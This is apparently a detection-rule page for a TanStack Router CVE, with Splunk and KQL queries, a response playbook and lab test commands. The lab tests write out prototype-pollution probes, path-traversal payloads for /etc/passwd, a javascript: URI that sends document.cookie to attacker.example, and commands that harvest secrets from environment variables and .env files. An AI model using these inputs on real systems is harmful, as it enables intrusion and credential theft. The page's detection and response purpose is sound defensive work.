Detect TanStack Router Unspecified Vulnerability Exploitation in Splunk
Detects potential exploitation of CVE-2026-45321, an unspecified vulnerability in TanStack Router that has been added to the CISA Known Exploited Vulnerabilities catalog. TanStack Router is a type-safe routing library for React applications. Given KEV status, active exploitation in the wild is confirmed. Detection focuses on anomalous web application behavior, suspicious client-side routing patterns, unexpected server-side request patterns, and post-exploitation indicators consistent with JavaScript framework exploitation.
MITRE ATT&CK
SPL Detection Query
index=web OR index=iis OR index=apache sourcetype IN ("iis", "apache:access", "nginx:access", "aws:cloudfront:accesslogs")
| eval decoded_uri=urldecode(uri_path), decoded_query=urldecode(uri_query)
| where match(decoded_uri, "(__proto__|constructor\\.prototype|\\.\\./|\\.\\.\\\\\.|\\.\\.\\.|\\.\\.\\/)") OR match(decoded_query, "(__proto__|constructor\\.prototype|javascript:|data:text)")
| eval cve="CVE-2026-45321", app_framework="TanStack"
| stats count AS request_count, dc(src_ip) AS unique_sources, earliest(_time) AS first_seen, latest(_time) AS last_seen, values(uri_path) AS sample_paths BY src_ip, dest, http_user_agent
| where request_count > 3
| eval risk_score=case(request_count > 50, 90, request_count > 20, 75, request_count > 5, 60, true(), 40)
| eval severity=case(risk_score >= 75, "critical", risk_score >= 60, "high", true(), "medium")
| table first_seen, last_seen, src_ip, dest, request_count, unique_sources, risk_score, severity, sample_paths, cve
| sort -risk_scoreSplunk query to detect exploitation attempts against TanStack Router by identifying suspicious URL patterns including prototype pollution, path traversal, and JavaScript injection sequences in web access logs.
Data Sources
Required Sourcetypes
False Positives & Tuning
- Automated security scanners performing web application vulnerability assessments
- Legitimate applications that pass encoded characters in URL parameters
- Content delivery network log entries with pre-encoded URLs from upstream sources
- Search engine crawlers or bots that traverse unusual URL structures
Other platforms for CVE-2026-45321
Testing Methodology
Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1TanStack Router Prototype Pollution Probe
Expected signal: Web server access logs will show GET requests to /__proto__/polluted and query parameters containing __proto__ and constructor.prototype strings. Network flow logs will show connections to port 3000.
- Test 2TanStack Router Path Traversal via Routing Parameters
Expected signal: Web access logs will record requests containing URL-encoded path traversal sequences. WAF or web server logs should show the decoded paths if URL decoding is applied before logging.
- Test 3TanStack Router JavaScript URI Injection Attempt
Expected signal: Web server logs will capture requests containing javascript: and data: URI schemes in query parameters. If the application reflects these values, browser-side CSP violation reports may also be generated.
- Test 4Post-Exploitation Lateral Movement Simulation from Compromised Node.js Process
Expected signal: EDR telemetry will show the Node.js process (or a child process) executing id, whoami, cat, find, and env commands. Process lineage will link these to the web server parent process.
Response Playbook
Triage
- Confirm the affected application uses TanStack Router by reviewing package.json or yarn.lock for @tanstack/router dependency versions and cross-reference against the advisory at GHSA-g7cv-rxg3-hmpx to determine if the installed version is vulnerable.
- Review web access logs for the time period surrounding the alert for the flagged source IP, looking for patterns of requests containing prototype pollution markers (__proto__, constructor.prototype), path traversal sequences (../), or JavaScript/data URI injections.
- Correlate the source IP against threat intelligence feeds to determine if it is a known scanner, threat actor infrastructure, or legitimate internal asset. Check for prior alerts or incidents involving the same IP.
- Examine downstream application behavior for signs of successful exploitation: unexpected process spawns from Node.js/web server processes, unusual outbound network connections, or anomalous file system writes in the application directory.
- Check if the vulnerability has been patched: verify the TanStack Router package version in the running application against the fixed version published in the security advisory.
Containment
- If active exploitation is confirmed, immediately isolate the affected web server or application container from external network access by applying restrictive firewall rules or removing it from the load balancer pool, while preserving the environment for forensic investigation.
- Deploy a Web Application Firewall (WAF) rule blocking requests containing known exploit patterns (__proto__, constructor.prototype, javascript:, data:text URI schemes) as an immediate mitigation while a permanent patch is applied.
- Rotate any secrets, API keys, or session tokens accessible to the TanStack Router application, as successful exploitation may have exposed these credentials.
- If the application runs in a containerized environment, snapshot the container image for forensics before terminating and redeploying from a known-good, patched image.
Evidence Collection
- Collect and preserve full web server access logs (including raw request bodies if available) covering the 24-hour window before and after the first suspicious request, ensuring log integrity with cryptographic hashing.
- Capture memory dump of the running Node.js process if the application is still live and exploitation is suspected, to recover in-memory artifacts such as injected payloads, modified route configurations, or exfiltrated data buffers.
- Export network flow logs (NetFlow/IPFIX) for the affected server to establish the full scope of the attacker's network activity, including any lateral movement or data exfiltration connections.
- Preserve a snapshot of the application's file system to identify any files written, modified, or deleted by the exploitation activity, paying particular attention to the application's node_modules directory and runtime configuration files.
Escalation Criteria
- !Escalate to Incident Response if evidence of successful exploitation is found: shell commands executed in the context of the web server process, unexpected file writes outside the application directory, or confirmed data exfiltration to external infrastructure.
- !Escalate immediately if multiple applications or servers within the environment are found to be vulnerable and showing exploitation indicators, indicating a targeted or automated campaign against the organization's TanStack Router deployments.
- !Escalate to senior security leadership if any application handling PII, financial data, or authentication tokens is confirmed exploited, due to potential regulatory notification requirements.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
Web server access logs containing requests with __proto__ or constructor.prototype in URL path or query parameters - >
Node.js process memory artifacts showing modified object prototypes or injected route handler functions - >
Application-level error logs showing unhandled exceptions or unexpected routing behavior triggered by malformed requests - >
Network logs showing outbound connections from the web server process to attacker-controlled infrastructure following exploitation - >
File system artifacts: newly created or modified files in the application runtime directory, particularly configuration files or temporary scripts
Tuning Guidance
This detection will generate false positives from security scanners, automated testing frameworks, and applications with legitimately complex URL routing. To tune: (1) Build an allowlist of known scanner IPs and internal testing infrastructure and suppress alerts from those sources. (2) Establish a baseline of normal URL patterns for each web application and alert only on deviations. (3) Increase confidence thresholds by requiring both the suspicious URL pattern AND anomalous downstream behavior (unexpected process spawning, unusual outbound connections) before alerting. (4) If TanStack Router is not used in your environment, this detection can be retired; confirm absence by scanning all package.json and yarn.lock files for @tanstack/router dependencies. (5) Since the CVE description is unspecified, monitor the GHSA advisory and NVD entry for technical details as they become available, and refine detection patterns accordingly.
Hunting Queries
Hunt for all requests containing prototype pollution indicators across the last 7 days to identify the full scope of reconnaissance or exploitation attempts and any compromised hosts that may have been missed by real-time alerting.
W3CIISLog
| where TimeGenerated >= ago(7d)
| where csUriStem has_any ('__proto__', 'constructor', 'prototype') or csUriQuery has_any ('__proto__', 'constructor', 'prototype')
| summarize count() by cIP, csHost, bin(TimeGenerated, 1h)
| where count_ > 1
| order by count_ descindex=web OR index=iis earliest=-7d
| rex field=uri "(?<proto_pollution>__proto__|constructor\.prototype)"
| where isnotnull(proto_pollution)
| stats count by src_ip, uri, proto_pollution
| sort -countCorrelate web exploitation attempts with subsequent administrative actions or process spawning on the same hosts to identify successful exploitation followed by post-exploitation activity.
AzureActivity
| where TimeGenerated >= ago(7d)
| where OperationNameValue in ('Microsoft.Web/sites/restart/action', 'Microsoft.Web/sites/publishxml/action')
| join kind=inner (
W3CIISLog
| where TimeGenerated >= ago(7d)
| where csUriStem has_any ('__proto__', 'constructor')
| summarize ExploitAttempts=count() by csHost
) on $left.ResourceGroup == $right.csHost
| project TimeGenerated, OperationNameValue, Caller, ResourceGroup, ExploitAttemptsindex=web earliest=-7d
| where match(uri, "(__proto__|constructor\.prototype)")
| eval exploit_time=_time
| join src_ip [
search index=endpoint earliest=-7d
| stats count by src_ip, process_name
| rename src_ip AS src_ip
]
| table exploit_time, src_ip, uri, process_nameAtomic Red Team Tests
Simulates an attacker probing a TanStack Router application for prototype pollution vulnerability by sending HTTP requests with __proto__ in the URL path and query string, as would be done during initial reconnaissance.
Command
# LAB ONLY - Requires a local TanStack Router dev server on localhost:3000
curl -v 'http://localhost:3000/api/__proto__/polluted' 2>&1 | grep -E '(HTTP|Location|polluted)'
curl -v 'http://localhost:3000/?__proto__[test]=exploited' 2>&1 | grep -E '(HTTP|test|exploited)'
curl -v 'http://localhost:3000/?constructor.prototype.isAdmin=true' 2>&1 | grep -E '(HTTP|isAdmin)'Cleanup
No cleanup required - read-only HTTP requests to local dev serverExpected Telemetry
Web server access logs will show GET requests to /__proto__/polluted and query parameters containing __proto__ and constructor.prototype strings. Network flow logs will show connections to port 3000.
Expected Detection
Should trigger the HTTP log-based detection rules monitoring for __proto__ and constructor.prototype in URL paths and query parameters.
Tests detection coverage for path traversal attempts through TanStack Router's dynamic routing parameters, using URL-encoded traversal sequences that may bypass naive input filters.
Command
# LAB ONLY - Requires a local TanStack Router application
for payload in '../../../etc/passwd' '%2e%2e%2f%2e%2e%2fetc%2fpasswd' '..%2F..%2Fetc%2Fpasswd' '....//....//etc/passwd'; do
echo "Testing: $payload"
curl -s -o /dev/null -w "%{http_code}" "http://localhost:3000/user/$payload"
echo
doneCleanup
No cleanup required - read-only HTTP requests to local dev serverExpected Telemetry
Web access logs will record requests containing URL-encoded path traversal sequences. WAF or web server logs should show the decoded paths if URL decoding is applied before logging.
Expected Detection
Triggers detection rules monitoring for path traversal patterns (../, %2e%2e) in URL paths targeting TanStack Router application routes.
Simulates injection of JavaScript URI schemes into TanStack Router navigation parameters, testing whether the router sanitizes href or to props that are user-controlled.
Command
# LAB ONLY - Tests injection via URL parameters that may flow into router Link components
curl -v 'http://localhost:3000/?redirect=javascript:alert(document.cookie)' 2>&1
curl -v 'http://localhost:3000/?next=javascript:fetch("http://attacker.example/"+document.cookie)' 2>&1
curl -v 'http://localhost:3000/?to=data:text/html,<script>alert(1)</script>' 2>&1Cleanup
No cleanup required - read-only HTTP requests to local dev serverExpected Telemetry
Web server logs will capture requests containing javascript: and data: URI schemes in query parameters. If the application reflects these values, browser-side CSP violation reports may also be generated.
Expected Detection
Should trigger detection rules monitoring for javascript: and data:text URI schemes in web application query parameters.
Simulates post-exploitation behavior where a successful TanStack Router exploitation leads to command execution within the Node.js server process, followed by reconnaissance commands to escalate access.
Command
# LAB ONLY - Simulates what an attacker would run after achieving Node.js RCE
# Run as the web application service account in an isolated VM
id && whoami
cat /proc/1/environ | tr '\0' '\n' | grep -i secret
find /app -name '*.env' -o -name '.env*' -o -name 'config.json' 2>/dev/null
env | grep -iE '(key|secret|token|password|api)'
cat ~/.ssh/known_hosts 2>/dev/nullCleanup
This test only reads files and environment variables. No cleanup required. Ensure this runs in an isolated lab VM with no real secrets.Expected Telemetry
EDR telemetry will show the Node.js process (or a child process) executing id, whoami, cat, find, and env commands. Process lineage will link these to the web server parent process.
Expected Detection
CrowdStrike or EDR-based detection rules monitoring for shell reconnaissance commands spawned from web server processes (node, npm) should trigger on this activity.